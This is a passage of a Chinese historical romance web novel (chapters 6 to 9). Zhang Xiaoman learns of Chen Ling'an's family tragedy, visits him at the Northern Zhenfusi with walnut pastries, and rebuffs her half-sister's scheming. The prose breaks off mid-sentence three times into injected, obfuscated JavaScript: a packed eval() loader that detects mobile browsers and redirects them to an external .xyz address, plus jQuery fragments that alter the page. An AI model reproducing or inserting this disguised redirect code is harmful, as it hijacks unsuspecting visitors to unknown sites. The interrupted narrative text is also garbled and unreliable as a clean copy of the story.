却是借机溜之大吉。
烛火不知什么时候熄灭了,月光透过窗子,水似地倾泻下来。
有个梳着双丫髻的女娃娃慢慢从中走近,笑容很甜,声音也很甜,就连普普通通的“令安哥”三字,都变得异常悦耳。
胖嘟嘟的小圆脸,逐渐和白日里那张俏丽的脸重叠了。
恍惚中,有人哭着喊了声“哥哥”,随之声音被人潮淹没。
陈令安猛地睁开眼,胸口剧烈地起伏着,就着月光,从书桌的抽屉里摸出一粒丸药吃了,又咳了一阵,方渐渐喘定。
九年了,难道要等仇人老死么?
拳头一点点攥紧,死劲握着,陈令安闭上眼,从齿缝里迸出两个字,“陈、绍!”
-
天色大亮,麻雀在枝头叽叽喳喳地唱,给一贯冷清沉寂的张家祠堂添了几分生机。
蒋夫人看着欢畅吃喝的张小满,又好气又好笑,又颇为无奈,“这个时候你还能吃得下去,真是没心没肺。”
“天大地大,吃饭最大。”张小满把碗里最后一口粥吃掉,抚着肚皮幸福地眯起眼睛,“我就昨天早上正经吃了点东西,守祠堂的人只肯给我水,越喝越饿,这一晚上饿得我是前胸贴后背,差点去见如来佛祖。幸好母亲想着我。”
蒋夫人一指头戳在她脑门上,“少给我卖乖,你这孩子闯大祸了,别以为搬出陈令安就能吓倒你爹,他在等。”
“等?”张小满不明白。
“你爹把惩戒你的消息放出去了,如果你说的话是真的,陈令安必定有所表示,如果你信口胡诌……”蒋夫人叹口气,“可不是跪祠堂这么简单了。”
张小满笑道:“大不了我哪儿来的回哪儿去,只是辜负了母亲一片慈心。”
蒋夫人暗叹一声,这孩子还是想得太简单,外面已把她和陈令安的关系传得沸沸扬扬,各路人马都在观望,身处旋涡中的她,又怎能轻松抽身?
“听母亲一句劝,或许陈令安曾经是个好的,可现在,他已经不是你认识的陈令安了。”
张小满听出来她话里有话,“母亲,能和我说说他的事吗?”
蒋夫人又是一声叹息,“说来话长,九年前的事了,那时候先帝还在。陈家是江南有名的世家大族,声望犹在刘家之上。陈令安的父亲陈绶,是备受尊崇的大儒,在前朝任翰林学士,眼见要入阁了,却卷入了科场舞弊案。”
“陈绶自尽以证清白,却还是被先帝定成‘畏罪自尽’,陈令安的母亲受不住打击,也跟着上吊死了。他哥哥气不过,去敲登闻鼓鸣冤,在半路和愤怒的学子们发生争执,不知被谁打了,还没等拖到家就咽了气,混乱之中,小妹妹没人看顾,也丢了。”
“后来陈家开了祠堂,把陈绶这一支逐出陈家,所有家财归入族中——其实也就剩陈令安一人。他离开前起了毒誓,必要陈阁老和陈家血债血偿。”
张小满已听得怔住了。
眼前慢慢浮现出少年郎那张充满忧思和愤然的双眼。
无处可去?我也是……
酸楚和苦涩搅得心□□/炸似的疼,她不得不连着深吸几口气,方有稍许缓和。
蒋夫人已经不知道自己叹了多少声了,“一夜之间家破人亡,别说一个十来岁的孩子,就是大人也承受不住。陈家多大的势力,他一个小孩子……人们只当他疯了,谁也没当回事,结果两年前他摇身一变成了锦衣卫,真的杀回来了。”
“他心机深沉,阴险冷硬,为了报仇什么都能做得出来,小满,千万不能和他继续来往啊。”
张小满沉默半晌,“母亲,你说的科场舞弊案是怎么一回事?”
蒋夫人一怔,没好气白张小满一眼,“你倒关心这个?”
“具体我也说不好,就听你父亲念叨过几句。陈绶是那届会试的主考官,所录取的全是南方士子,这一下子就炸了锅,北方学子联名上疏状告主考官徇私舞弊,又有出身北方的官员当朝弹劾陈绶和一众考官。一来二去,就办成了大案。”
“那他父亲到底是不是清白的?”张小满不大明白,“如果的确没过错,陈令安现在也算皇上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901245|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重用的臣子,不能请皇上重新审理吗?”
蒋夫人失笑,“傻孩子,三司会审、先帝御笔亲批的案子,岂能说翻案就翻案?再说当今的皇位……”
她猛地咬住话头。当今原为燕王,压根就不是先帝属意的储君。
当今的皇位,是从侄子手里硬夺来的!
废帝的年号都被当今抹去了,可见当今对那段过往多么讳莫如深。
为表示继位的正统,也为安抚群臣的心,当今处处标榜自己“遵先帝教诲行事”,不可能把此案打成冤案。
这话也就只敢心里想想,没法明说。
蒋夫人转口叹道:“早已盖棺定论,所以陈令安才把所有的愤恨都放在陈阁老身。”
张小满问:“怎么出来个陈阁老,他是谁,今天刘大人也特地提起了他。”
蒋夫人慢慢道:“陈阁老是陈令安的亲二叔,也是……仇人,第一个告发他父亲科场舞弊的人。”
这个信息实在出乎意料,张小满瞪大了眼睛瞧着嫡母。
蒋夫人严肃了面容,“陈令安现在和疯狗一样,凡是和陈家沾边的,逮谁咬谁。平阳侯府、刘家、陈家早就捆在一起,咱家也一只脚踏上陈家的船了,你说他能放过咱们家?昨天对你和颜悦色,心里还不定打什么鬼主意!”
“听母亲的话,不管过去如何,眼下你必须和他撇清关系。”
张小满低着头不说话。
“你这孩子……”蒋夫人待要再劝,门外传来方妈妈的声音,“太太,老爷请你过去,刘家太太和公子来了。”
蒋夫人登时激动起来。
如果拒绝亲事,小蒋氏来和她说就够了,顶多加上个秦夫人,根本用不着刘瑾书登门。
刘瑾书出现,说明了什么?
蒋夫人一拍张小满的后背,“傻人有傻福啊!”
张小满被她拍得龇牙咧嘴直喊疼,“母亲,别高兴太早了,万一是来兴师问罪的呢?你没看昨天秦夫人那模样,简直要把我生吞活剥了。”
一句话又让蒋夫人心里犯嘀咕,恨铁不成钢戳张小满脑门一指头,“昨天本来都相中你了,唉!”
张小满把心里话说了出来,“母亲,我不想嫁刘瑾书。”
“不嫁他你嫁谁?陈令安?”蒋夫人脸色猛地一变,“想都别想,不可能!”
张小满忙解释,“不不,我是说现在我还不想嫁人。我和令安哥九年没见了,小时候关系再好,也不至于一见面就……就是他乡遇故知的感觉。”
蒋夫人狐疑地打量她一眼,语气缓和了些,“故知?我看是债主!你还小,很多事不明白,千万不要由着性子乱来。母亲都替你打算好了,听话,啊。”
再三叮咛后,蒋夫人离开了祠堂,她没有直接去见刘家人,先回房换身衣服,略喝口茶歇息少顷,方起身前往花厅。
正好撞见张君懿端着茶水站在花厅门口,俨然要进去的架势。
蒋夫人憋了一天一夜的火噌地点燃,当即喝住她,“这里没你站的地儿,下去!”
张君懿咬咬嘴唇,按照姨娘教的话答道:“太太误会了,是父亲吩咐女儿来奉茶的。”
蒋夫人一听就知道她在撒谎,“胡扯,哪有当家夫人未到,先让姑娘露面的道理?你父亲再偏疼你,也不会在刘家面前失了礼数。”
“大概你和你姨娘都认为,搅黄了三丫头的婚事,你就能顶上。呵,鼠目寸光,和陈令安有旧,影响的是整个张家,刘家若介意这点,必定不会与张家任何一个姑娘结亲。”
“聪明反被聪明误。”蒋夫人瞥一眼脸色煞白的张君懿,悠悠然从她身旁走过。
7. 第 7 章
京城寸土寸金,张文现在虽贵为尚书,早年间却是落魄的寒门子弟,近几年才发达起来。
府邸还是刚成亲时置办的,着实不算大。
花厅小小三间,门外的动静,里面几人听了个七七八八,
张文难免有点尴尬,一面怪女儿不懂事,为着亲事连姑娘家的矜持都不要了,一面又怨蒋氏小题大做,故意让他在外人面前丢脸。
便重重咳了声,提醒外面的人适可而止。
蒋夫人踏着他的咳嗽声走入花厅,多年的夫妻,听声就知道对方怎么想的,刚熄的火苗子又被点燃了。
但刘家人在场,还是要给丈夫脸面的。
蒋夫人把这笔账记在姚氏母女头上,吐出口浊气,含笑与刘家母子打招呼,“昨天让那群锦衣卫闹得乱哄哄的,平白搅了四时宴,好在有惊无险,没叫那群人得逞。”
秦夫人不自然地笑了下,“因我儿之故,让三姑娘受委屈了,我们委实过意不去,特地备了些薄礼,给三姑娘压压惊。”
张家夫妇一时拿不准她的意思,对视一眼,没有说话。
刘瑾书接着说:“也不知道三姑娘喜欢什么,我们就选了几匹杭绸,几篓时令蔬果,还有扇子纸笔,都是些不值钱的东西,刘姨丈就不要客气了。”
若是拒亲,刘家必会送些重礼,方全了张刘两家的体面,如此走亲戚似的礼物,说明这门亲事不无希望。
本是该高兴的事,张文却有点不是滋味,到底不忘为心爱的女儿再争取,“她一个没见识的丫头,没轻没重的净跟着添麻烦。还好她四妹妹机灵,及时带着她母亲过去劝阻,才算没闹出大乱子。”
刘瑾书笑道:“旧友久别重逢,又是救命恩人,一时冲动也在所难免。”
这话听得蒋夫人心里乐开了花,“好孩子,你有心了。”又吩咐方妈妈,“去叫三姑娘过来。”
张文呵呵笑了两声,怎么也想不明白,这个三丫头何德何能,竟能让挑剔的刘瑾书另眼相待。却不好再说别的,便指了个由头先行离开,安慰自己的心肝肉去了。
约莫两刻钟后,张小满到了。
换了身家常衣服,简简单单的单螺髻,素面朝天,连口脂都没抹。
秦夫人皱了下眉头,率性纯真是好,她也不喜欢矫揉造作的女孩子,可张小满这样,多少有点不把刘家当回事。
还当着那么多人的面说记挂陈令安九年了,礼义廉耻都不要,果然和那个周太太说的一样粗鄙无状。
山鸡就是山鸡,当不得大户人家的主母。
按她的意思,散伙得了,奈何那爷俩关在书房嘀嘀咕咕一晚上,一大早居然和她说,暂不回绝,先接触看看。
这是吃多了山珍海味,想换换口味,尝尝清粥小菜?
秦夫人暗叹一声,强打起精神和张小满说些天气冷暖之类不痛不痒的应付话。
蒋夫人佯装没看到,笑吟吟道:“我家园子虽小,那片月季花开得却是最好,我们大人说话你们也不耐烦听,小满,带刘家表哥去逛逛。”
刘瑾书率先起身,张小满见状也只好跟上。
初夏的阳光金灿灿的,一簇簇碗口大的月季在微风中摇曳生姿,粉红黛白灿花纷呈,柳梢枝头黄莺鸣啭,的确如蒋夫人所言,是个赏花的好地方。
两人并肩慢慢走在鹅卵石铺就的小路上,张小满心里装着事,一反往常的活泼,显得格外沉默。
“见到是我,是不是失望了?”刘瑾书突然说。
张小满一怔,“啊?”
刘瑾书微微笑道:“你更希望一大早出现的人是陈令安吧。”
“没、没有……”蓦地被他戳破心思,张小满不免讪讪,“他要是来了,我父亲准保坐立不安,人人都说他是个瘟神,生恐和他沾边。”
刘瑾书立刻就听出她对陈令安的回护之意,原在意料之中,可不知怎的,心里不大舒服起来。
他停下脚步,“不来,也未必是不在乎你,昨儿个要不是你在,我和舅父或许已在诏狱里蹲着了。”
昨天变故一出,张小满以为和他的亲事定然不成,结果今天刘家巴巴地上门,非但没指责她,还送礼物给她压惊,着实让她惊讶不已。
她可没自大到人家非他不娶的地步。
张小满不由往深里想了一层,笑笑说,“我们也没那么熟,毕竟九年没见,我记得他,他却把我忘差不多了,昨天就差点没认出我来,我可不敢认领这功劳。”
顿了顿,她又说:“他原本就是个善良宽容的人,那些老夫子骂得那样难听,他都没有动怒,可见传闻都是骗人的。”
刘瑾书脚步一顿,善良宽容?
张小满继续道:“他查问你,其中定有误会,后来你父亲和他说明白了,误会解开,他没有继续为难你不是?”
刘瑾书上下打量眼前的人,她说得极其认真,没有一丝开玩笑的模样,明显打心眼里这样认为的。
刘瑾书怔楞了会儿,忽笑了声,“幸亏我有个好爹,及时出现,及时解开误会。”
张小满附和地笑笑,笑过之后,淡淡的忧伤却从心底漫延上来。
他们都有人疼爱。
刘瑾书自不必说,有殚精竭虑为他打算的父亲,为他能豁出命的母亲。便是她,也有嫡母处处照拂,生恐她受一点委屈。
陈令安什么也没有……
突然很想见他。
张小满眼睛一亮,他不来,她可以去啊!
一时恨不得插上翅膀飞到陈令安身边,越发显得心不在焉了。
刘瑾书瞧在眼里,觉得无趣极了,正欲找个托词离开,忽然听到柳荫处一阵呜呜咽咽。
那声音,如泣如诉,似断还连,宛转中透着悱恻,伤心处不乏缠绵,竟听得两人怔住了。
张小满喃喃道:“没听说我家养小戏子呀……”
一个窈窕身影从柳荫中显现,“好巧”地撞见他们,粉腮泪痕点点,眉目间笼着朦胧烟雨,让她妍丽的面容少了点攻击性,多了几分娇弱谦顺。
四妹妹?!张小满不相信似地揉揉眼睛。
张君懿这才刚刚发现他们似的,慌张地站定,“心里烦闷,就到园子里逛逛,以为这里没人的……让表哥见笑了。”
自少时成名,刘瑾书身边不乏追求者,这点小伎俩他一眼就看穿。虽瞧不上,但自身的修养不允许他对女子冷嘲热讽,遂颔首一笑。
许是受到这一笑的鼓励,张君懿信心倍增,生怕他不记得自己似的自报家门,“表哥,我是君懿呀,去年我去南翠书院给我哥送东西,你还给我摘李子吃呢!”
两片娇羞的红云飞上脸颊,她的声音柔得像能拧出水,“那是我吃过最好吃的李子。”
张小满只觉怪怪的,看看张君懿,又看看刘瑾书,默默向后退了一步,又退一步。
“好像是有摘李子这回事。”刘瑾书知道自己不能不说话了,“我记得和书院的学生一起摘了许多,都分给附近村子的孩子们了。”
张君懿眼眶逐渐泛红,有点下不来台,只字不提她,倒好似她在撒谎似的,可分明是给了她的。
“时候不早,请恕刘某先行告辞。”刘瑾书无意陷入姐妹争婿的戏码,略一点头,径直离去。
张君懿面上露出不可置信的表情,僵立原地望着刘瑾书远去的背影,目光慢慢落在张小满身上,立时又羞又恼,“少得意,今日看我的笑话,来日你又能比我强多少?”
语气凝噎,她再也说不下去,猛地捂住脸,扭身飞也似跑掉了。
张小满眨眨眼,明白方才的诡异感怎么回事了:那个梨花带雨柔情怯弱的哪里像四妹妹,分明是姚姨娘的姿态!
只可惜刘瑾书和父亲不一样,压根不吃这套。
张小满摇摇头,没把四妹妹搅局的事放在心上,只一门心思琢磨着如何出门找陈令安。
-
晚风打着旋儿从院中吹过,张君懿独自倚坐窗前,眼睛又红又肿,兀自望着深沉的夜色出神。
姚姨娘挑帘进来,看到桌上一筷未动的饭菜,长长叹息一声,“别丧气,往后太太少不了制造他们独处的机会,只要你抓住……”
“还嫌我今天不够丢人?”张君懿猛地回过头,“你没瞧见刘瑾书看我的眼神,简直把我当成想爬床的丫鬟,我张君懿还从没叫人看轻到如此地步!”
刚刚止住的眼泪又扑簌簌往
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901246|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下掉,张君懿简直羞恼难忍,“都怪你,非教这种我见不得人的把戏,你做妾,难道也要我做妾吗?”
姚姨娘忙道:“不会,不会,你父亲是吏部尚书,刘家门槛再高,也不敢让你当妾。”
“你也知道我是张家的姑娘?”张君懿霍然起身,语气悲愤,“我可是张家正经的姑娘,打小请了先生教引嬷嬷精心教养的大家闺秀,我真是昏头了,怎么能听一个姨娘的。”
姚姨娘脸色霎时变得雪白,好一会儿才开口,“是娘连累你了……”
她话音悲婉,张君懿听了,眼中明显露出不忍之色,却仍是倔强地抿紧嘴角,不肯说软话。
姚姨娘深深呼出口气,“没关系,他们成不了,中间还钉着一个陈令安呢。”
张君懿没说话,脸上的表情却老大不以为然。
“她如果放下了陈令安,昨天就不会突然冒出来维护他。”姚姨娘笑了,眼神变得意味深长,“年轻人一冲动,谁知道会做出什么事?你父亲又极力想促成刘家的亲事……”
张君懿茫然看着她。
姚姨娘却不肯再说了,唤丫鬟诗晴进来,“把这些饭菜撤了,让你小厨房重新做几样四姑娘爱吃的。办完不用再回来,拿些酱货酒水,找二门李婆子说说话,三姑娘得刘家看重,让她们用心巴结着。”
“你要做什么?”张君懿问。
姚姨娘笑笑,“不做什么,三姑娘水涨船高,那几个婆子以前可没少编排三姑娘,我不过提醒一声罢了。”
外面的风一阵紧似一阵,不多时便噼里啪啦下起雨来,柳枝在空中胡乱舞动着,转眼间柳叶落了一地。
这场雨一下就是一天一夜,待云散雨住,路上的积水彻底退去,已是两日后了。
这天前晌,张小满来到小厨房,问厨娘杨嫂子要些面粉、糖、核桃、鸡蛋和猪油。
杨嫂子带着歉意笑道:“真不凑巧,昨儿太太特意吩咐,多做些芝麻酥,今儿拿着去平阳侯府,姨太太就喜欢咱府里这一口。猪油都用完了,现熬也来不及,不如姑娘先回去,明儿我准能熬好,到时候姑娘再来。”
就是要趁着嫡母不在才好出门。
张小满问还有别的油没有。
“还有豆油。”杨嫂子答道。
张小满扫视一圈,走到灶台上掀开油罐子,“这是什么油?”
杨嫂子忙道:“菜籽油,口感浓重有草腥味,不如豆油清淡,不适合做核桃酥。”
“没事,就用它吧!”张小满笑笑,穿上襜衣挽起袖子,和面、加料、成型、上烤炉……动作一气呵成,十分熟练。
杨嫂子殷切赞叹,“闻这香气就知道味道差不了,姑娘真能干,顶得上京城最好的点心师傅了。”
“那可不敢比。”张小满笑嘻嘻说,“隔壁林亭先生的娘子做得才叫好呢,我也就学到她一半的功夫。”
隔壁哪有姓林的,说的是宣府乡下吧。杨嫂子背过身,偷偷撇撇嘴。
半个时辰后,张小满提着新鲜出炉的核桃酥出现在二门。
事先得了姚姨娘的授意,看门的婆子不但没拦着,还贴心地问要不要预备马车,“我家二小子在马房当差,用车很是便宜。”
张小满欣然点头。
不多时,张家的马车停在北镇抚司衙门口前。
京城的衙门,大多轩昂气派,威严肃穆,却不乏人气,门前大道并不禁止百姓通行,当然也有商贩在附近摆摊做生意的。
唯有北镇抚司门口,百姓都要绕着走,便是那些官员,若非有要紧公务推辞不掉,否则绝不肯踏足一步。
幽深的巷子,高达两丈的青砖院墙,永远关着的黑洞洞的大门,好似婴儿哭声的鸦啼,再加上盛夏炎日也压不住的阴冷气,即便不信鬼神的人到了这里,也觉满街冤鬼游荡了。
张小满跳下马车,对车夫道:“不用等我,我掌灯前回去,若有人问,就如实说。”
车夫巴不得赶紧走,立马调转车头飞速驶离。
张小满看看四周,“倒是个消夏避暑的好地方呢!”
随即三步两步跑上台阶,抓住门环用力叩响,和小时候一样,欢快地大声喊:“陈令安,开门!”
8. 第 8 章
北镇抚司签押房,吴勇从门后探出个脑袋,想说话又不敢的样子。
陈令安依旧埋在如海的卷宗里,头也没抬,“舌头没用的话就割掉。”
吴勇一激灵,嘿嘿笑着进门,“大人,张三来了。”
“谁?”陈令安讶然抬头。
“就是你那小青梅呀!”吴勇竟有点摩拳擦掌的意思,“我去请她进来?”
陈令安问:“还有别人吗?”
吴勇:“没,就她一个,胡同口的暗哨说,张家的马车把她送到就走了。”
陈令安重新垂眸看向案上的卷宗,“不见。”
吴勇愣了,“为啥不见?人小姑娘可是满心欢喜来找你,还带了亲手做的核桃酥。”说着,用手抹去嘴角的残渣。
陈令安没好气说:“用你那核桃仁脑子好好想想,四时宴第二天她见了谁,又是因为谁她才免于张文的惩戒。”
吴勇眨巴眨巴小眼睛,恍然大悟,“哦,她替刘瑾书刺探消息!那是不能见,我这就把她赶走。”
“等等,”陈令安又叫住他,“就说我忙于公事不得空,请她过几日再来。还有,不准再称呼她张三。”
这又是为何?吴勇隐约有个猜想,却不敢再问,转身一步三摇头慢慢走远。
结果没多久他又回来了!
“额……三姑娘不肯走,要在门口等着。”吴勇小心覷着上峰的脸色,“她问能不能讨杯茶喝,门房不敢擅专,特来请示大人。”
陈令安放下手里的卷宗,“我们北镇抚司,穷得连杯茶都没有吗?”
“是是是。”吴勇一溜小跑消失。
一会儿他又在门口探头探脑,“三姑娘问有没有茉莉花茶,属下记得大人这里有……”
陈令安抓起茶罐子扔过去。
吴勇伸手接住,傻笑两声溜了。
刚消停一个时辰,他又一溜小跑回来扒着门框问,“三姑娘茶喝多了,想借用衙门的净房,咱们是借还是不借……”
陈令安手里的卷宗捏着变了形,望着吴勇皮笑肉不笑说:“不然呢?”
“明白明白。”吴勇忙不迭点头,擦着满头的汗飞奔而去。
陈令安深吸口气,好容易整理好被打断的思路,待要下笔时,门外蹬蹬蹬一阵急促脚步。
没等吴勇那张大脸露出来,陈令安抓起茶杯狠狠砸向门口,“滚!”
“这回真出事了……”吴勇壮着胆子说。
陈令安起身抽刀。
吴勇“噫”的一声抱头鼠窜。
陈令安重重呼出口郁气,重新坐在书案前,却发现自己怎么也无法集中精神了。
庭院灿灿,盛满了初夏的阳光,树叶在阳光下头一蹦一跳泛着绿色的荧光,随着微风,在这楼阁鳞次的京城深处,他竟闻到了几丝麦香。
一两声小孩子的嬉戏声,从遥远的、不知名的地方传来。
怔楞片刻,他气恼地把笔往地上一丢,阴沉着脸踏出签押房。
一路走到大门处的影壁,以往清净的地方变得异常嘈杂,当差的锦衣卫也不办差了,都扒着门缝往外瞅。
居然还有狗在叫!
陈令安重重咳了声。
人们立刻安静,大门外的狗叫声越发清晰,女子的娇斥声也传入陈令安的耳中。
陈令安呆了呆,哗啦,猛然拉开大门。
门开的同时,一块石头呼啸而来,陈令安始料未及,砰的一声,正中脑门!
啪嗒嗒,小石头连翻几滚,停住了。
嘶——,看热闹的锦衣卫同时倒吸口气。
陈令安光洁白皙的额头上,慢慢泛起一片青紫。
他无语到极点可以说麻木的眼睛里,映着张小满目瞪口呆的脸,而此时,扔石头的手甚至还没有放下。
暗中观察的吴勇惋惜地叹气:完鸟,小姑娘性命堪忧哇。
门前台阶上的大黄狗,似是察觉到气氛不对,竟夹起尾巴偷偷逃了。
“对、对不起,我……”张小满努力在尴尬的脸上挤出一丝笑,“我打狗来着。”
陈令安面无表情,“你说我是狗?”
“没有!”万想不到他会拐到这个方向,张小满有点语无伦次,“狗一直冲我狂叫,我害怕。”
陈令安望天,“那此刻我是否该闭嘴?”
张小满呆滞一瞬,反应过来他在和自己闹别扭,一时心里又酸又涩,又夹杂着丝丝的甜意,慢声道:“别生气啦,很疼吧,让我看看。”
陈令安偏头避开她伸过来的手,“有事?”
张小满没有气馁,脸上还是笑嘻嘻的,“我等了好几天也不见你找我叙旧,只好自己找上门。”
陈令安仍旧面无表情,“我是恶贯满盈的奸臣贼子,玩弄人心的阴险小人,你就不怕我害你?”
听到这话张小满反而敛了笑,看向陈令安额角上的小坑,“九年前,有坏孩子欺负我,我气急了,抓起石头扔他们,结果砸中了路过的你,还留了疤……那时你只抱怨几句,却没生气,还帮我撑腰教训那些人。你看你今天也没有发火,你才不是坏人,和从前一样宽和。”
陈令安轻轻哼了声。
“不请我进去吗?”张小满扬起笑脸。
陈令安站着没动,“这里是北镇抚司衙门,迈过这道门槛的人不是官差就是要犯,你确定你要进来?”
“那还是算了。”张小满悄悄缩回伸出的脚,把点心匣子捧到他面前,“核桃酥,我做的,比不上林姨的手艺,但也不错。”
盖子打开,里面是寥寥无几的碎块,再勉强都拼不出一个完整的。
卷着残叶的风从长街吹过,吹不散小满脸上的尴尬,“呃……我晌午就没吃东西,一直等到现在……”
陈令安盯着她的脸,忽然失笑,接过她手里的匣子,“我派人送你。”
张小满习惯性说了声“不用”,稍后反应过来又笑了,“还是要送的,我不认得路。”
来京城之后,她总共也没出几趟门,连张家附近的街巷都认不全。
陈令安吩咐两个锦衣卫护送她回去。
金乌西坠,马蹄声声,张小满从车窗探出几乎半个身子,笑容绚烂,大力地挥手。
陈令安看着她逐渐远去,消失在拐角。回过身,却看到吴勇带着一脸憨憨的笑,正在冲着巷口舞动双臂。
陈令安摸了摸额头上的青紫,“今日谁当值?”
吴勇不明就里,“我啊,廖凯告假,这个月都是我负责北镇抚司的警备。”
陈令安扯扯嘴角,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901247|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“拿扫帚,你亲自看守这条路,门前一个闲物不能过,地上一片树叶不能有。”
吴勇的笑脸瞬间成了苦瓜脸。
回到签押房,陈令安把匣子放在案头,慢慢地,慢慢地,拈起一块核桃酥。
微甜、酥脆,舌尖瞬间感受到碎块爆成颗粒,颗粒又迅速融化,浓郁的核桃清香立刻充盈了唇齿间每一个角落。
他怔住了。
砰砰,砰砰,有人在敲他的窗子,他推开窗,大片大片的阳光霎时倾泻在他身上。
“令安哥,”张小满捧着圆乎乎的小脑袋趴在窗台上,瞅着他直乐,“核桃酥做好啦,林姨叫我给你送来。”
他说:“先放一边,我做完功课再吃。”
张小满进了门,把碟子放在书案一角,又探身歪着脑袋看他抄了半截的字,“复仇者不折镆干,虽有忮心,不怨飘瓦……什么意思啊?”
这是《庄子·达生》里的一句话,意思是说,复仇的人不会折断曾伤害他的宝剑,即使嫉恨心再强的人也不会怨恨偶然坠落伤害到他的瓦片。
林亭先生今日特意给他讲了的,他却沉默着,没有回答。
窗扇在风中颤抖着,发出“咔咔”的轻响,院子里传来吴勇的声音,“什么鬼天气,刚晴没两天,又要下雨……”
陈令安猛地睁开眼。
一阵疾风吹过,满桌的纸张哗哗乱响,如蝴蝶一样满室飞舞。
他盯着桌上的点心匣子,忽抓起盖子,砰的扣上了。
凉飕飕的风带着雨腥,将北镇抚司的马车送到张家门前。
看见赶车的是两个锦衣卫,门房吓得要跪了,看到三姑娘跳下马车时,眼珠子差点掉出来,待看到锦衣卫客气且恭敬地与三姑娘道别时,他心里已是掀起惊天巨浪了。
很快,消息传到了姚姨娘的院子。
“老爷,这可如何是好。”她忧心忡忡与张文道,“瞒着老爷太太私自与外男见面,若是传出去,‘不检点’三字足以毁掉整个张家的清誉。”
张文的脸黢黑,但没她预想的那般勃然大怒,眉头紧锁,看得出在思索着什么。
姚姨娘开始不确定了,小心地添柴,“前几天刘家带着十足的诚意刚来,扭脸她就找别的男人,这简直是在打刘家的脸。就算刘公子肚量大不怪罪,可秦夫人是个难缠的,刘大人也不见得能咽下这口气……”
张文终于被触动了,起身唤禀报消息的人进来,却是又问了一遍那两个锦衣卫的反应,什么样的动作,说的每一个字,包括脸上什么表情,事无巨细!
那婆子压根没见,亦不敢叫门房来答话——生恐老爷责怪她连个话都传不明白,只得依着报信的话,加以自己的想象,将倒了两三手的消息夸张地描述出来。
张文盛怒的面孔竟然出现平息的迹象。
姚姨娘暗道不好,她怎的忘了,老爷的确想借刘家挤进陈阁老的圈子,可他绝对不会与锦衣卫明面为敌!
算计来算计去,怎么也没算计到冷硬心肠的陈令安会对张小满另眼相待。张家明明放出罚跪祠堂的消息,等了好几天也没等到陈令安的反应,还以为他根本不在乎。
今天这个套,算是落空了。
她轻轻叹息一声,这个村姑,比想象的更为棘手。
9. 第 9 章
张文没计较张小满私自外出的事情,蒋夫人却不肯轻易饶过她,细细审了半日,始终不敢相信,“你砸了他的头,他当真没记恨你?”
张小满再三保证,“真的没有,他还和我开玩笑呢!”
想到那两个锦衣卫护送她回来时的态度,蒋夫人总算没再往下问,可还是一副忧心忡忡的样子。
小满疑惑地看着她。
“被陈令安这样的人看重,是祸不是福啊。”蒋夫人又有点恨铁不成钢地戳戳她的脑门,“人家刘瑾书刚来看望你,结果你扭脸就去找陈令安,生怕这门亲事成了似的。”
趁嫡母还没展开长篇训导,小满赶紧转移话题,“母亲,端午节在即,五妹妹就要回家了,听说她喜欢书画,我想上街逛逛给她寻摸点好东西。第一回见面,总不好空着手。”
蒋夫人虎着脸说:“家里什么都有,她不缺你那点东西,再说你手里才几个钱,都把钱省着寄回宣府了,以为我不知道?实在要送,从我库里拿,你给我老实在家呆着,不准再找陈令安!”
小满轻轻摇着嫡母的袖子,“我知道母亲心疼我,可不患寡而患不均,纵然五妹妹和她姨娘此时不在意,若有人在旁煽风点火说些有的没的,时间长了,难免生出事端。”
没娘的孩子难啊,不过拿几件东西也要思前想后的。蒋夫人心里头一阵发酸,又觉得宽慰,“你这孩子……”
看蒋夫人眼中竟有了泪光,小满急忙插科打诨,哄得蒋夫人笑也不是气也不是,把那股子忧伤彻底冲散了。
却是不敢再提出门的事。
小满走了,正院又变得寂静。
“这孩子,像谁啊。”蒋夫人扶额叹道,“她姨娘沉静寡言,老爷严肃古板,也不知怎么生出这个跳脱的丫头。”
方妈妈用手背试试茶杯的温度,然后双手递过去,“我看像夫人。”
蒋夫人讶然,“这话怎么说的?”
方妈妈笑道:“夫人还做姑娘的时候,也是这般的活泼伶俐,一刻也闲不住,成日价不是骑马踏青,就是泛舟湖上,划船划得比船娘还好。”
闺阁往事总是令人怀念的,蒋夫人不无感慨,“那个时候真快活啊,我娘却愁得不得了,生怕我嫁不出去,非拘着我学女红磨性子,连我爹说情也不管用,可把我憋坏了。”
方妈妈接过话头,“我记得后来夫人是在耐不住,让丫鬟扮成你在屋子里装睡,我把风,你偷溜出门……”
她突然止住了,露出几分忐忑。
蒋夫人的笑容变淡,慢慢消失了。
就是那次,她遇到了张文。
桥头一见,惊为天人,寒门又如何,落榜的举子又如何,爹娘反对又如何,她铁了心,非他不嫁。
